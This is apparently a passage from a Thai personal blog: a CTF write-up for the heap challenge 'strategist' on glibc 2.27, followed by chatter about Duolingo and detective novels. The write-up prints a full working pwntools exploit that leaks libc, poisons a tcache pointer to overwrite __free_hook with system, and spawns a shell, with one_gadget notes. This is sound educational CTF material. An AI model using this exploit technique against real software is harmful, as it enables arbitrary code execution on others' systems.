ซึ่งพบว่า libc ของโจทย์เวอร์ชัน 2.27 อห อย่างเก่าเกิดก่อนกูอีกมั้ง แถมเวอร์ชันนี้มี free_hook อีกไม่ต้องหา primitive ให้วุ่นวาย

Exploitation Strategy

  1. Leak Libc จาก unsorted bin

  2. ใช้ create_planสร้าง attack chunk และ victim chunk 1 และ 2

  3. ใช้ delete_plan free victim chunk 1 และ 2

  4. ใช้ edit_plan attack chunk ไปทับ victim chunk 1 size ใน metadata เป็น sizeof(victim1)+sizeof(victim2)

  5. ใช้ create_planสร้าง new chunk ที่มี size เป็น sizeof(victim1)+sizeof(victim2)-8 โดยไปทับค่า tcache ptr ใน victim chunk 2 ด้วยค่าของ free_hook

  6. ใช้ create_plan สร้าง new chunk เพื่อไปเขียนค่า system ลงที่ free_hook

  7. ใช้ create_plan สร้าง new chunk โดยใส่ value เป็น /bin/sh

  8. ใช้ delete_plan เพื่อ free chunk ที่ 7 ทำให้ไปเรียก free_hook ที่ถูกแทนด้วย system

แค่ 8 ข้อนี้ก็เรียก system(“/bin/sh”) ได้แล้ว GGEZ ครัฟ ‘jkpdHgsuhp]tlyl c,j’’,vpjk’oko

Full Exploit

#!/usr/bin/env python3

from pwn import *

exe = ELF("strategist")
libc = ELF("glibc/libc.so.6")

context.binary = exe
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']


# Shortcut
ru          = lambda a:         p.readuntil(a)
r           = lambda n:         p.read(n)
rl           = lambda :         p.recvline()
sla         = lambda a,b:       p.sendlineafter(a,b)
sa          = lambda a,b:       p.sendafter(a,b)
sl          = lambda a:         p.sendline(a)
s           = lambda a:         p.send(a)


def conn():
    if args.LOCAL:
        p = process([exe.path])
    elif args.GDB:
        p = process([exe.path])
        gdb.attach(p, gdbscript="b *main")
    else:
        target = "X:1"
        target = target.split(":")
        p = remote(target[0],target[1])

    return p

def create(size,buf):
    sla(b">", b"1")
    sla(b">", str(size).encode())
    sa(b">", buf)

def edit(idx, buf):
    sla(b">", b"3")
    sla(b">", str(idx).encode())
    sa(b">", buf)

def show(idx):
    sla(b">",b"2")
    sla(b">", str(idx).encode())
    ru(b"]:")
    ru(b"]:")
    rl()
    return rl()

def leak_libc(idx):
    sla(b">",b"2")
    sla(b">", str(idx).encode())
    ru(b"]:")
    ru(b"]:")
    rl()
    return r(6)

def delete(idx):
    sla(b">", b"4")
    sla(b">", str(idx).encode())

def main():
    global p
    p = conn()

    # good luck pwning :)

    # leak libc address 
    create(0x500, b"a"*0x500)   # chunk 0
    create(0x10, b"a"*0x10)     # chunk 1
    delete(0) # unsorted bin
    buf = b"A"*7+b"\n"
    create(0x500, buf)          # chunk 0
    leak = leak_libc(0)
    leak = u64(leak.ljust(8, b"\x00"))
    libc.address = leak - 4111520
    """
    0x4f3ce execve("/bin/sh", rsp+0x40, environ)
        constraints:
        address rsp+0x50 is writable
        rsp & 0xf == 0
        rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

    0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
        constraints:
        address rsp+0x50 is writable
        rsp & 0xf == 0
        rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

    0x4f432 execve("/bin/sh", rsp+0x40, environ)
        constraints:
        [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

    0x10a41c execve("/bin/sh", rsp+0x70, environ)
        constraints:
        [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv


    """
    one_gadget = libc.address +0x4f3d5 # it didn't work LOL
    free_hook = libc.sym['__free_hook']
    print(f"leak: {hex(leak)}")
    print(f"libc addr: {hex(libc.address)}")
    print(f"free_hook addr: {hex(free_hook)}")
    print(f"one_gadget addr: {hex(one_gadget)}")


    # create fake chunk
    fake = b""
    fake += p64(0) # prev_size
    create(0x28, b"2"*0x28)     # chunk 2
    create(0x500-8, b"3"*(0x500-8))   # chunk 3
    create(0x80-8, b"4"*(0x80-8))     # chunk 4

    # edit chunk 2 to overwrite chunk 3 size
    buf = b"2"*0x28
    buf += b"\x81\x05"
    delete(3) # free chunk 3
    delete(4) # free chunk 4
    edit(2, buf)

    # overwrite tcache ptr
    buf = flat({0x500:p64(free_hook)})
    create(0x580-8, buf + b"\n")   # chunk 3
    create(120, b"\n") # chunk 4
    # overwrite free_hook
    create(120, p64(libc.sym['system'])) # chunk 5
    # no more one gadget
    create(0x20, "/bin/sh\x00\n") # chunk 6
    delete(6)


    p.interactive()


if __name__ == "__main__":
    main()

ถ้าอ่านจนถึงตอนนี้คืออ่านมาไกลมาก จะเห็นว่าจริง ๆ ยังไม่ครบขาดอีกข้อนึง ตอนแข่งผมทำไม่ทันเหมือนกัน เสียดายไม่งั้นเคลียร์ทุกข้อแล้ว ใครสนใจลองไปทำดูนะครับ ผมว่าไม่ยากมากแล้วอย่าลืมเอามาเขียนแชร์กันบ้าง :D


Touch Some Grass🌲

ช่วงนี้หาอย่างอื่นนอกจากนั่งอยู่หน้าคอมบ้างเลยแว้บ ๆ ไปเรียนภาษาเห็นคนเค้าเล่น Duolingo กันเลยไปลองบ้าง อยากมีเก็บไฟไปโชว์ตอนสิ้นปีเหมือนคนอื่นเค้า แต่ ณ วันที่เขียน blog นี้น้องตายไปจะครบ 2 วีคละอ่ะ GG

No description available.

ส่วนตัวคิดว่า Duolingo ไม่ได้เหมาะกับคนที่ไม่มีพื้นฐานภาษานั้นเลย อย่างน้อยควรจำตัวอักษรได้ทั้งหมดก่อนมาเรียน น่าจะสนุกว่ามานับ 0 เดี้ยวจะกลับไปคัดตัวอักษรจะกลับมาเก็บไฟกับน้องต่อนะ

อีกอย่างที่ได้ทำในช่วงนี้คืออ่านหนังสือ(แน่นอนว่า fiction ล้วน) ได้ลองเริ่มอ่าน “กาสักอังฆาต” เป็น fiction ในหมวดสืบสวนสอบสวนเล่มแรกที่ได้อ่าน ที่เลือกเล่มนี้เพราะบูทที่งานหนังสือมีโปรครบ 1000 บาทได้ของแถม LOL

No description available.

เคยอ่านรีวิวมาคร่าว ๆ มีคนบอกว่าอ่านง่ายเหมาะกับมือใหม่ หลังจากอ่านจบก็พบว่าอ่านง่ายจริงเลยไปซื้ออีก 2 เล่มมา ก็อ่านจบภายในวันเดียว(อ่านข้าม ๆ เน้นรู้เรื่องไม่เน้นซึมซับ lol) ใครอยากลองเปิดใจให้กับหมวดสืบสวนสอบสวนลองเล่มนี้ดูครับ

0
Subscribe to my newsletter

Read articles from pwn8 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

pwn8
pwn8